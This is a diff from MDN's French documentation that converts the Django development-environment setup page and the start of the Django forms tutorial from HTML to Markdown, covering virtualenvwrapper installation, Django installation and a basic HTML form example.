bash">virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/premkproject +```bash +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/premkproject virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postmkproject ... virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/preactivate virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postactivate -virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/get_env_details</pre> +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/get_env_details +``` -<p>Vous pouvez maintenant créer un nouvel environnement virtuel avec la commande <code>mkvirtualenv</code>.</p> +Vous pouvez maintenant créer un nouvel environnement virtuel avec la commande `mkvirtualenv`. -<h4 id="Mise_en_place_de_lenvironnement_virtuel_sur_macOS">Mise en place de l'environnement virtuel sur macOS</h4> +#### Mise en place de l'environnement virtuel sur macOS -<p>L'installation de <em>virtualenvwrapper</em> on sur macOS est quasiment identique à celle sur Ubuntu (une fois de plus, vous pouvez suivre les instructions du <a href="http://virtualenvwrapper.readthedocs.io/en/latest/install.html">guide officiel d'installation</a> ou suivre les indications ci-dessous).</p> +L'installation de _virtualenvwrapper_ on sur macOS est quasiment identique à celle sur Ubuntu (une fois de plus, vous pouvez suivre les instructions du [guide officiel d'installation](http://virtualenvwrapper.readthedocs.io/en/latest/install.html) ou suivre les indications ci-dessous). -<p>Installez <em>virtualenvwrapper</em> (ainsi que <em>virtualenv</em>) en utilisant <em>pip</em> comme indiqué ci-dessous.</p> +Installez _virtualenvwrapper_ (ainsi que _virtualenv_) en utilisant _pip_ comme indiqué ci-dessous. -<pre class="brush: bash">sudo pip3 install virtualenvwrapper</pre> +```bash +sudo pip3 install virtualenvwrapper +``` -<p>Puis ajoutez les lignes suivantes à la fin de votre fichier de configuration shell.</p> +Puis ajoutez les lignes suivantes à la fin de votre fichier de configuration shell. -<pre class="brush: bash">export WORKON_HOME=$HOME/.virtualenvs +```bash +export WORKON_HOME=$HOME/.virtualenvs export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3 export PROJECT_HOME=$HOME/Devel -source /usr/local/bin/virtualenvwrapper.sh</pre> - -<div class="note"> -<p><strong>Note :</strong> La variable <code>VIRTUALENVWRAPPER_PYTHON</code> pointe vers l'emplacement d'installation par défaut de Python3, et <code>source /usr/local/bin/virtualenvwrapper.sh</code> pointe vers l'emplacement par défaut du script <code>virtualenvwrapper.sh</code>. Si le <em>virtualenv</em> ne fonctionne pas quand vous le testez, vérifiez que Python et le script sont bien aux emplacements attendus (puis modifiez le fichier de configuration en conséquence).</p> +source /usr/local/bin/virtualenvwrapper.sh +``` -<p>Par exemple, une installation test sur macOS a résulté en l'ajout des lignes suivantes dans le fichier startup :</p> +> **Note :** La variable `VIRTUALENVWRAPPER_PYTHON` pointe vers l'emplacement d'installation par défaut de Python3, et `source /usr/local/bin/virtualenvwrapper.sh` pointe vers l'emplacement par défaut du script `virtualenvwrapper.sh`. Si le _virtualenv_ ne fonctionne pas quand vous le testez, vérifiez que Python et le script sont bien aux emplacements attendus (puis modifiez le fichier de configuration en conséquence). +> +> Par exemple, une installation test sur macOS a résulté en l'ajout des lignes suivantes dans le fichier startup : +> +> ```bash +> export WORKON_HOME=$HOME/.virtualenvs +> export VIRTUALENVWRAPPER_PYTHON=/Library/Frameworks/Python.framework/Versions/3.7/bin/python3 +> export PROJECT_HOME=$HOME/Devel +> source /Library/Frameworks/Python.framework/Versions/3.7/bin/virtualenvwrapper.sh +> ``` +> +> Vous pourrez trouver les bons emplacements de votre système en utilisant les commandes `which virtualenvwrapper.sh` et `which python3`. -<pre class="brush: bash">export WORKON_HOME=$HOME/.virtualenvs -export VIRTUALENVWRAPPER_PYTHON=/Library/Frameworks/Python.framework/Versions/3.7/bin/python3 -export PROJECT_HOME=$HOME/Devel -source /Library/Frameworks/Python.framework/Versions/3.7/bin/virtualenvwrapper.sh</pre> +Ce sont les mêmes lignes que pour Ubuntu, mais le nom du fichier de configuration caché du répertoire home est différent : **.bash_profile** dans votre répertoire home. -<p>Vous pourrez trouver les bons emplacements de votre système en utilisant les commandes <code>which virtualenvwrapper.sh</code> et <code>which python3</code>.</p> -</div> +> **Note :** Si vous n'arrivez pas à trouver le fichier **.bash_profile** depuis le finder, vous pouvez aussi l'ouvrir depuis le terminal en utilisant nano. +> +> La commande sera la suivante : +> +> >cd ~ # Naviguer vers le répertoire home +> ls -la # Listez le contenu du répertoire. Vous devriez voir .bash_profile. +> nano .bash_profile # Ouvrez le fichier avec l'éditeur de texte nano, depuis le terminal. +> # Allez à la fin du fichier, puis copiez-collez les lignes ci-dessus. +> # Utilisez Ctrl+X pour quitter nano, sélectionnez Y pour sauvegarder le fichier. -<p>Ce sont les mêmes lignes que pour Ubuntu, mais le nom du fichier de configuration caché du répertoire home est différent : <strong>.bash_profile</strong> dans votre répertoire home.</p> +Puis relancez le fichier de configuration en appelant la ligne suivante depuis le terminal : -<div class="note"> -<p><strong>Note :</strong> Si vous n'arrivez pas à trouver le fichier <strong>.bash_profile</strong> depuis le finder, vous pouvez aussi l'ouvrir depuis le terminal en utilisant nano.</p> +```bash +source ~/.bash_profile +``` -<p>La commande sera la suivante :</p> +Vous devriez alors voir apparaître plusieurs lignes de script (les mêmes scripts que ceux présents dans l'installation Ubuntu). Vous devriez maintenant pouvoir créer un nouvel environnement virtuel avec la commande `mkvirtualenv`. -<pre>>cd ~ # Naviguer vers le répertoire home -ls -la # Listez le contenu du répertoire. Vous devriez voir .bash_profile. -nano .bash_profile # Ouvrez le fichier avec l'éditeur de texte nano, depuis le terminal. -# Allez à la fin du fichier, puis copiez-collez les lignes ci-dessus. -# Utilisez Ctrl+X pour quitter nano, sélectionnez Y pour sauvegarder le fichier.</pre> -</div> +#### Mise en place de l'environnement virtuel sur Windows 10 -<p>Puis relancez le fichier de configuration en appelant la ligne suivante depuis le terminal :</p> +Installer [virtualenvwrapper-win](https://pypi.python.org/pypi/virtualenvwrapper-win) est encore plus simple qu'installer _virtualenvwrapper_ , parce que vous n'avez pas besoin de configurer là où l'outil enregistre les informations de l'environnement virtuel (il y a des valeurs par défaut). Tout ce que vous avez besoin de faire est de lancer la commande suivante depuis l'invite de commande : -<pre class="brush: bash">source ~/.bash_profile</pre> + pip3 install virtualenvwrapper-win -<p>Vous devriez alors voir apparaître plusieurs lignes de script (les mêmes scripts que ceux présents dans l'installation Ubuntu). Vous devriez maintenant pouvoir créer un nouvel environnement virtuel avec la commande <code>mkvirtualenv</code>.</p> +Vous pouvez désormais créer un nouvel environnement virtuel avec la commande `mkvirtualenv` -<h4 id="Mise_en_place_de_lenvironnement_virtuel_sur_Windows_10">Mise en place de l'environnement virtuel sur Windows 10</h4> +### Créer un environnement virtuel -<p>Installer <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> est encore plus simple qu'installer <em>virtualenvwrapper</em> , parce que vous n'avez pas besoin de configurer là où l'outil enregistre les informations de l'environnement virtuel (il y a des valeurs par défaut). Tout ce que vous avez besoin de faire est de lancer la commande suivante depuis l'invite de commande :</p> +Maintenant que vous avez installé _virtualenvwrapper_ ou _virtualenvwrapper-win_ , travailler avec des environnements virtuels sera une tâche très similaire entre chaque plateforme. -<pre>pip3 install virtualenvwrapper-win</pre> +Vous pouvez désormais créer un nouvel environnement virtuel avec la commande `mkvirtualenv`. Lors de son exécution, vous pourrez voir l'environnement être configuré (ce que vous verrez changera légèrement en fonction de votre plateforme). Lorsque l'exécution de la commande sera terminée, votre environnement virtuel sera actif — vous pouvez voir au début de la ligne de commande le nom de votre environnement entre parenthèses (nous vous montrons le résultat pour Ubuntu ci-dessous, mais la dernière ligne est similaire sur Windows/macOS). -<p>Vous pouvez désormais créer un nouvel environnement virtuel avec la commande <code>mkvirtualenv</code></p> + $ mkvirtualenv my_django_environment -<h3 id="Créer_un_environnement_virtuel">Créer un environnement virtuel</h3> + Running virtualenv with interpreter /usr/bin/python3 + ... + virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get_env_details + (my_django_environment) ubuntu@ubuntu:~$ -<p>Maintenant que vous avez installé <em>virtualenvwrapper</em> ou <em>virtualenvwrapper-win</em> , travailler avec des environnements virtuels sera une tâche très similaire entre chaque plateforme.</p> +Maintenant que vous êtes dans votre environnement virtuel vous pouvez installer Django et commencer à développer. -<p>Vous pouvez désormais créer un nouvel environnement virtuel avec la commande <code>mkvirtualenv</code>. Lors de son exécution, vous pourrez voir l'environnement être configuré (ce que vous verrez changera légèrement en fonction de votre plateforme). Lorsque l'exécution de la commande sera terminée, votre environnement virtuel sera actif — vous pouvez voir au début de la ligne de commande le nom de votre environnement entre parenthèses (nous vous montrons le résultat pour Ubuntu ci-dessous, mais la dernière ligne est similaire sur Windows/macOS).</p> +> **Note :** A partir de ce point dans l'article (et donc dans le module), vous pourrez considérer que toutes les commandes seront exécutées dans un environnement virtuel Python comme celui que nous avons mis en place plus haut. -<pre>$ mkvirtualenv my_django_environment +### Utiliser un environnement virtuel -Running virtualenv with interpreter /usr/bin/python3 -... -virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get_env_details -(my_django_environment) ubuntu@ubuntu:~$</pre> +Il y a quelques commandes que vous devriez connaître (il y en a davantage dans la documentation de l'outil, mais celles-ci sont celles que vous utiliserez le plus souvent) : -<p>Maintenant que vous êtes dans votre environnement virtuel vous pouvez installer Django et commencer à développer.</p> +- `deactivate` — Permet de sortir de l'environnement virtuel Python actuel +- `workon` — Lister tous les environnements virtuels disponibles +- `workon name_of_environment` — Activer l'environnement virtuel spécifié +- `rmvirtualenv name_of_environment` — Supprimer l'environnement virtuel spécifié -<div class="note"> -<p><strong>Note :</strong> A partir de ce point dans l'article (et donc dans le module), vous pourrez considérer que toutes les commandes seront exécutées dans un environnement virtuel Python comme celui que nous avons mis en place plus haut.</p> -</div> +## Installer Django -<h3 id="Utiliser_un_environnement_virtuel">Utiliser un environnement virtuel</h3> +Une fois que vous avez créé votre environnement virtuel, et que vous avez utilisé `workon` pour y entrer, vous pouvez utiliser _pip3_ pour installer Django. -<p>Il y a quelques commandes que vous devriez connaître (il y en a davantage dans la documentation de l'outil, mais celles-ci sont celles que vous utiliserez le plus souvent) :</p> +```bash +pip3 install django +``` -<ul> - <li><code>deactivate</code> — Permet de sortir de l'environnement virtuel Python actuel</li> - <li><code>workon</code> — Lister tous les environnements virtuels disponibles</li> - <li><code>workon name_of_environment</code> — Activer l'environnement virtuel spécifié</li> - <li><code>rmvirtualenv name_of_environment</code> — Supprimer l'environnement virtuel spécifié</li> -</ul> +Vous pouvez tester l'installation de Django en exécutant la commande suivante (celle-ci ne fait que tester le fait que Python puisse trouver le module Django) : -<h2 id="Installer_Django">Installer Django</h2> - -<p>Une fois que vous avez créé votre environnement virtuel, et que vous avez utilisé <code>workon</code> pour y entrer, vous pouvez utiliser <em>pip3 </em>pour installer Django. </p> - -<pre class="brush: bash">pip3 install django</pre> - -<p>Vous pouvez tester l'installation de Django en exécutant la commande suivante (celle-ci ne fait que tester le fait que Python puisse trouver le module Django) :</p> - -<pre class="brush: bash"># Linux/macOS +```bash +# Linux/macOS python3 -m django --version 2.1.5 # Windows py -3 -m django --version - 2.1.5</pre> - -<div class="note"> -<p><strong>Note :</strong> Si la commande Windows ci-dessus n'indique aucun module Django présent, essayez :</p> - -<pre class="brush: bash">py -m django --version</pre> + 2.1.5 +``` -<p>Dans Windows, les scripts <em>Python 3</em> sont exécutés en préfixant la commande avec <code>py -3</code>, bien que ceci puisse varier suivant votre installation. Essayer en enlevant le modificateur <code>-3 </code>si vous rencontrez un problème avec la commande. Dans Linux/macOS, la commande est <code>python3.</code></p> -</div> +> **Note :** Si la commande Windows ci-dessus n'indique aucun module Django présent, essayez : +> +> ```bash +> py -m django --version +> ``` +> +> Dans Windows, les scripts _Python 3_ sont exécutés en préfixant la commande avec `py -3`, bien que ceci puisse varier suivant votre installation. Essayer en enlevant le modificateur `-3 `si vous rencontrez un problème avec la commande. Dans Linux/macOS, la commande est `python3.` -<div class="warning"> -<p><strong>Attention :</strong> Le reste de ce <strong>module </strong>utilise les commandes <em>Linux</em> pour invoquer Python 3 (<code>python3</code>) . . Si vous travaillez sous <em>Windows </em>, remplacez simplement ce préfixe avec : <code>py -3</code></p> -</div> +> **Attention :** Le reste de ce **module** utilise les commandes _Linux_ pour invoquer Python 3 (`python3`) . . Si vous travaillez sous _Windows_ , remplacez simplement ce préfixe avec : `py -3` -<h2 id="Tester_votre_installation">Tester votre installation</h2> +## Tester votre installation -<p>Les tests ci-dessus fonctionnent, mais ne font rien de très divertissant. Un test plus intéressant consiste à créer un projet squelette et de voir si il fonctionne. Pour ce faire, naviguez tout d'abord dans votre invite/terminal de commande à l'endroit où vous désirez stocker vos applications Django. Créez un dossier pour votre site test et placez-vous dedans.</p> +Les tests ci-dessus fonctionnent, mais ne font rien de très divertissant. Un test plus intéressant consiste à créer un projet squelette et de voir si il fonctionne. Pour ce faire, naviguez tout d'abord dans votre invite/terminal de commande à l'endroit où vous désirez stocker vos applications Django. Créez un dossier pour votre site test et placez-vous dedans. -<pre class="brush: bash">mkdir django_test -cd django_test</pre> +```bash +mkdir django_test +cd django_test +``` -<p>Vous pouvez ensuite créer un nouveau site squelette intitulé "<em>mytestsite</em>" utilisant l'outil <strong>django-admin</strong> omme montré. Après avoir créé le site, vous pouvez naviguer dans le dossier où vous trouverez le script principal pour gérer vos projets, intitulé <strong>manage.py</strong>.</p> +Vous pouvez ensuite créer un nouveau site squelette intitulé "_mytestsite_" utilisant l'outil **django-admin** omme montré. Après avoir créé le site, vous pouvez naviguer dans le dossier où vous trouverez le script principal pour gérer vos projets, intitulé **manage.py**. -<pre class="brush: bash">django-admin startproject mytestsite -cd mytestsite</pre> +```bash +django-admin startproject mytestsite +cd mytestsite +``` -<p>Nous pouvons lancer le <em>serveur web de développement</em> depuis ce dossier en utilisant <strong>manage.py</strong> et la commande <code>runserver</code> command, comme indiqué ci-dessous.</p> +Nous pouvons lancer le _serveur web de développement_ depuis ce dossier en utilisant **manage.py** et la commande `runserver` command, comme indiqué ci-dessous. -<pre class="brush: bash">$ python3 manage.py runserver +```bash +$ python3 manage.py runserver Performing system checks... System check identified no issues (0 silenced). @@ -366,48 +373,42 @@ December 16, 2018 - 07:06:30 Django version 2.1.5, using settings 'mytestsite.settings' Starting development server at http://127.0.0.1:8000/ Quit the server with CONTROL-C. -</pre> +``` -<div class="note"> -<p><strong>Note :</strong> La commande ci-dessus montre le résultat de l'exécution sur Linux/macOS. Vous pouvez ignorer les warnings à propos des "15 unapplied migration(s)" à partir de là !</p> -</div> +> **Note :** La commande ci-dessus montre le résultat de l'exécution sur Linux/macOS. Vous pouvez ignorer les warnings à propos des "15 unapplied migration(s)" à partir de là ! -<p>Maintenant que votre serveur est lancé, vous pouvez voir le site en naviguant vers l'URL suivante depuis votre navigateur local : <code>http://127.0.0.1:8000/</code>. Vous devriez voir un site ressemblant à celui-ci :</p> +Maintenant que votre serveur est lancé, vous pouvez voir le site en naviguant vers l'URL suivante depuis votre navigateur local : `http://127.0.0.1:8000/`. Vous devriez voir un site ressemblant à celui-ci : -<p><img alt="Django Skeleton App Homepage - Django 2.0" src="django_skeleton_website_homepage_2_1.png"></p> + -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Vous avez maintenant un environnement de développement Django fonctionnel et opérationnel sur votre ordinateur.</p> +Vous avez maintenant un environnement de développement Django fonctionnel et opérationnel sur votre ordinateur. -<p>Dans la section test vous avez aussi vu comment créer un nouveau site web Django en utilisant <code>django-admin startproject</code>, et comment aller dessus depuis votre navigateur en utilisant le serveur de développement web (<code>python3 manage.py runserver</code>). Dans le prochain article nous détaillerons ce processus, et créant un application web simple mais complète.</p> +Dans la section test vous avez aussi vu comment créer un nouveau site web Django en utilisant `django-admin startproject`, et comment aller dessus depuis votre navigateur en utilisant le serveur de développement web (`python3 manage.py runserver`). Dans le prochain article nous détaillerons ce processus, et créant un application web simple mais complète. -<h2 id="See_also">See also</h2> +## See also -<ul> - <li><a href="https://docs.djangoproject.com/en/2.1/intro/install/">Quick Install Guide</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/2.1/topics/install/">How to install Django — Complete guide</a> (Django docs) - includes information on how to remove Django</li> - <li><a href="https://docs.djangoproject.com/en/2.1/howto/windows/">How to install Django on Windows</a> (Django docs)</li> -</ul> +- [Quick Install Guide](https://docs.djangoproject.com/en/2.1/intro/install/) (Django docs) +- [How to install Django — Complete guide](https://docs.djangoproject.com/en/2.1/topics/install/) (Django docs) - includes information on how to remove Django +- [How to install Django on Windows](https://docs.djangoproject.com/en/2.1/howto/windows/) (Django docs) -<p>{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}</p> +{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}} -<h2 id="In_this_module">In this module</h2> +## In this module -<ul> - <li><a href="/fr/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> -</ul> +- [Django introduction](/fr/docs/Learn/Server-side/Django/Introduction) +- [Setting up a Django development environment](/fr/docs/Learn/Server-side/Django/development_environment) +- [Django Tutorial: The Local Library website](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) +- [Django Tutorial Part 2: Creating a skeleton website](/fr/docs/Learn/Server-side/Django/skeleton_website) +- [Django Tutorial Part 3: Using models](/fr/docs/Learn/Server-side/Django/Models) +- [Django Tutorial Part 4: Django admin site](/fr/docs/Learn/Server-side/Django/Admin_site) +- [Django Tutorial Part 5: Creating our home page](/fr/docs/Learn/Server-side/Django/Home_page) +- [Django Tutorial Part 6: Generic list and detail views](/fr/docs/Learn/Server-side/Django/Generic_views) +- [Django Tutorial Part 7: Sessions framework](/fr/docs/Learn/Server-side/Django/Sessions) +- [Django Tutorial Part 8: User authentication and permissions](/fr/docs/Learn/Server-side/Django/Authentication) +- [Django Tutorial Part 9: Working with forms](/fr/docs/Learn/Server-side/Django/Forms) +- [Django Tutorial Part 10: Testing a Django web application](/fr/docs/Learn/Server-side/Django/Testing) +- [Django Tutorial Part 11: Deploying Django to production](/fr/docs/Learn/Server-side/Django/Deployment) +- [Django web application security](/fr/docs/Learn/Server-side/Django/web_application_security) +- [DIY Django mini blog](/fr/docs/Learn/Server-side/Django/django_assessment_blog) diff --git a/files/fr/learn/server-side/django/forms/index.md b/files/fr/learn/server-side/django/forms/index.md index 2d63644055..c2a244d739 100644 --- a/files/fr/learn/server-side/django/forms/index.md +++ b/files/fr/learn/server-side/django/forms/index.md @@ -13,214 +13,214 @@ tags: - server side translation_of: Learn/Server-side/Django/Forms --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}} -<div>{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</div> - -<p>Dans cette formation nous allons vous montrer comment travailler avec les formulaires HTML sous Django afin de créer, modifier et supprimer des instances de modèle. Pour illustrer le raisonnement, nous allons étendre le site web <a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> pour permettre aux bibliothécaires d'utiliser nos formulaires (plutôt que l'application d'administration par défaut) pour prolonger la durée de prêt des livres, et également pour ajouter, mettre à jour et supprimer des auteurs. </p> +Dans cette formation nous allons vous montrer comment travailler avec les formulaires HTML sous Django afin de créer, modifier et supprimer des instances de modèle. Pour illustrer le raisonnement, nous allons étendre le site web [LocalLibrary](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) pour permettre aux bibliothécaires d'utiliser nos formulaires (plutôt que l'application d'administration par défaut) pour prolonger la durée de prêt des livres, et également pour ajouter, mettre à jour et supprimer des auteurs. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Avoir terminé les formations précédentes, y compris <a href="/fr/docs/Learn/Server-side/Django/authentication_and_sessions">Django Tutorial Part 8: User authentication and permissions</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs:</th> - <td>Comprendre comment écrire des formulaires pour récupérer des informations de la part des utilisateurs et mettre à jour la base de données. Comprendre commment il est possible de simplifier grandement la création de formulaires si l 'on travaille avec un seul modèle en utilisant les vues génériques de formulaires d'éditions s'appuyant sur des classes. </td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Avoir terminé les formations précédentes, y compris + <a href="/fr/docs/Learn/Server-side/Django/authentication_and_sessions" + >Django Tutorial Part 8: User authentication and permissions</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs:</th> + <td> + Comprendre comment écrire des formulaires pour récupérer des + informations de la part des utilisateurs et mettre à jour la base de + données. Comprendre commment il est possible de simplifier grandement la + création de formulaires si l 'on travaille avec un seul modèle en + utilisant les vues génériques de formulaires d'éditions s'appuyant sur + des classes. + </td> + </tr> + </tbody> </table> -<h2 id="Vue_densemble">Vue d'ensemble</h2> +## Vue d'ensemble + +Un [formulaire HTML](/fr/docs/Web/Guide/HTML/Forms) regroupe au moins un champ remplissable et des composants élémentaires d'interface web. Il peut être utilisé pour réunir des saisies de la part des utilisateurs avant envoi vers un serveur. Les formulaires sont souples: ils s'adaptent à plusieurs modes de saisie. En effet, Il existe des composants élementaires d'interfaces graphique pour des modes de saisie non contrainte avec une zone de saisie de texte, ou resteinte au type date avec un date picker, la saisie d'un variable optionnelle via une boîte à cocher, d'un choix à faire parmi plusieurs valeurs possibles avec les boutons radio etc... . Les formulaires permettent de partager des informations avec le serveur de manière relativement sécurisée car ils permettent d'envoyer des requêtes de type `POST` protégeant de la falsification des requêtes inter-site. + +Bien que nous n'ayons pas encore créé de formulaire au cours de cette formation, nous en avons déjà rencontré sur l'interface d'administration Django Admin — par exemple la capture d'écran ci-dessous montre un formulaire d'édition de l'un de nos modèle de [Book](/fr/docs/Learn/Server-side/Django/Models) (livre), comprenant des composants élémentaires d'interface graphique de chois de valeur parmi une liste proposée, et des zones des saisie de texte. + + + +Travailler avec des formulaires peut s'avérer compliqué ! Les développeurs doivent non seulement écrire le code HTML pour le formulaire, mais aussi vérifier et corriger sur le serveur les données saisies (et éventuellement aussi dans le navigateur), renvoyer le formulaire avec des messages d'erreur pour informer les usagers de tout champ invalide, prendre en charge les données quand elles passent l'étape de vérification, et finalement renvoyer une information à l'utilisateur d'une manière ou d'une autre pour indiquer ce succès. Les formulaires sous Django enlèvent beaucoup de travail à chacune de ces étapes, grâce à un cadriciel qui permet de déclarer des formulaires et leurs champs à travers un langage de programmation, puis d'utiliser ces objets non seulement pour générer le code HTML, mais aussi une grosse partie de la vérification des données et du retour d'information à l'utilisateur. + +Dans cette formation, nous allons vous montrer quelque-unes des manièrs de créer et de travailler avec les formulaires, et en particulier, comment les vues sur les formulaires génériques d'édition peuvent réduire significativement la quantité de travail à fournir pour créer les formulaires de manipulation de vos modèles. En chemin nous allons étendre notre application *LocalLibrary* en ajoutant un formulaire permettant aux bibliothécaires de prolonger le prêt de libres, et nous allons créer des pages pour créer, modifier et supprimer des livres et des auteurs (reproduisant une version basique du formulaire ci-dessus pour éditer des livres. ) + +## Formulaires HTML -<p>Un <a href="/fr/docs/Web/Guide/HTML/Forms">formulaire HTML</a> regroupe au moins un champ remplissable et des composants élémentaires d'interface web. Il peut être utilisé pour réunir des saisies de la part des utilisateurs avant envoi vers un serveur. Les formulaires sont souples: ils s'adaptent à plusieurs modes de saisie. En effet, Il existe des composants élementaires d'interfaces graphique pour des modes de saisie non contrainte avec une zone de saisie de texte, ou resteinte au type date avec un date picker, la saisie d'un variable optionnelle via une boîte à cocher, d'un choix à faire parmi plusieurs valeurs possibles avec les boutons radio etc... . Les formulaires permettent de partager des informations avec le serveur de manière relativement sécurisée car ils permettent d'envoyer des requêtes de type <code>POST</code> protégeant de la falsification des requêtes inter-site.</p> +D'abord, un premier aperçu des formulaires HTML ([HTML Forms](/fr/docs/Learn/HTML/Forms)). Soit un formulaire HTML simple, composé d'un unique champ de saisie texte , présent pour y entrer le nom d'une "équipe" quelconque, et son sa description dans l'étiquette associée : -<p>Bien que nous n'ayons pas encore créé de formulaire au cours de cette formation, nous en avons déjà rencontré sur l'interface d'administration Django Admin — par exemple la capture d'écran ci-dessous montre un formulaire d'édition de l'un de nos modèle de <a href="/fr/docs/Learn/Server-side/Django/Models">Book</a> (livre), comprenant des composants élémentaires d'interface graphique de chois de valeur parmi une liste proposée, et des zones des saisie de texte.</p> + -<p><img alt="Admin Site - Book Add" src="admin_book_add.png"></p> +Le formulaire est défini en HTML comme une collection d'éléments enfermés entre deux balises \<form> ... \</form> contenant au moins une balise \<input> dont la valeur d'attribut 'type' doit valoir "submit": -<p>Travailler avec des formulaires peut s'avérer compliqué ! Les développeurs doivent non seulement écrire le code HTML pour le formulaire, mais aussi vérifier et corriger sur le serveur les données saisies (et éventuellement aussi dans le navigateur), renvoyer le formulaire avec des messages d'erreur pour informer les usagers de tout champ invalide, prendre en charge les données quand elles passent l'étape de vérification, et finalement renvoyer une information à l'utilisateur d'une manière ou d'une autre pour indiquer ce succès. Les formulaires sous Django enlèvent beaucoup de travail à chacune de ces étapes, grâce à un cadriciel qui permet de déclarer des formulaires et leurs champs à travers un langage de programmation, puis d'utiliser ces objets non seulement pour générer le code HTML, mais aussi une grosse partie de la vérification des données et du retour d'information à l'utilisateur.</p> +```html +<form action="/team_name_url/" method="post"> + <label for="team_name">Enter name: </label> + <input id="team_name" type="text" name="name_field" value="Default name for team."> + <input type="submit" value="OK"> +</form> +``` -<p>Dans cette formation, nous allons vous montrer quelque-unes des manièrs de créer et de travailler avec les formulaires, et en particulier, comment les vues sur les formulaires génériques d'édition peuvent réduire significativement la quantité de travail à fournir pour créer les formulaires de manipulation de vos modèles. En chemin nous allons étendre notre application <em>LocalLibrary</em> en ajoutant un formulaire permettant aux bibliothécaires de prolonger le prêt de libres, et nous allons créer des pages pour créer, modifier et supprimer des livres et des auteurs (reproduisant une version basique du formulaire ci-dessus pour éditer des livres. )</p> +Bien qu'ici nous n'ayons qu'un champ de saisie texte destiné à recevoir le nom d'équipe, une formulaire _pourrait_ avoir un nombre quelconque d'autres champs de saisie et leurs étiquettes de description associées. La valeur de l'attribut 'type' définit la sorte de composant élementaire d'interface graphique affichée. Les attributs 'id' et 'name' permettent d'identifier le champ en JavaScript/CSS/HTML alors que l'attribut 'value' définit la valeur initiale du champ lorsqu'il est affiché pour la première fois. La description associée est déclarée par la balise \<label> (voir "Enter Name" au dessus) , avec un attribut 'for' devant contenir la valeur de l'attribut 'id' du champ imput à laquelle on souhaite l'associer. -<h2 id="Formulaires_HTML">Formulaires HTML</h2> +La balise `<input>` dont l'attribut `'type'` vaut `submit` sera affichée (par défaut) comme un bouton qui peut être cliqué par l'utilisateur pour envoyer vers le serveur les données figurant dans tous les autres éléments de formulaire \<input> (dans le cas présent, la valeur actuelle de `'team name'`. Les attributs de formulaire déterminent d'une part la méthode HTTP (attribut method) utilisée pour envoyer les donnnées et d'autre part la destination des données sur le serveur (attribut `action `): -<p>D'abord, un premier aperçu des formulaires HTML (<a href="/fr/docs/Learn/HTML/Forms">HTML Forms</a>). Soit un formulaire HTML simple, composé d'un unique champ de saisie texte , présent pour y entrer le nom d'une "équipe" quelconque, et son sa description dans l'étiquette associée :</p> +- `action` : Il s'agit de la destination (ressource ou URL) où sont envoyées les données lorsque le formulaire est soumis. Si la valeur de cet attribut n'est pas initialisée (ou la chaine vide est affectée à cet attribut), alors le formulaire sera renvoyé à l' URL de la page courante. +- `method` : La méthode HTTP utilisée pour envoyer les données: *post* ou *get*. -<p><img alt="Simple name field example in HTML form" src="form_example_name_field.png"></p> + - La méthode `POST` devrait toujours être utilisée si l'envoi de la donnée va provoquer un changement dan la base de données du serveur, car il peut être rendu plus résistant aux attaques par falsification de requête inter-site (CSRF). + - La méthode GET ne devrait être utilisée que pour les formulaires ne changeant pas les données utilisateur (p.ex. un formulaire de recherche) . Elle est recommandée lorsque vous 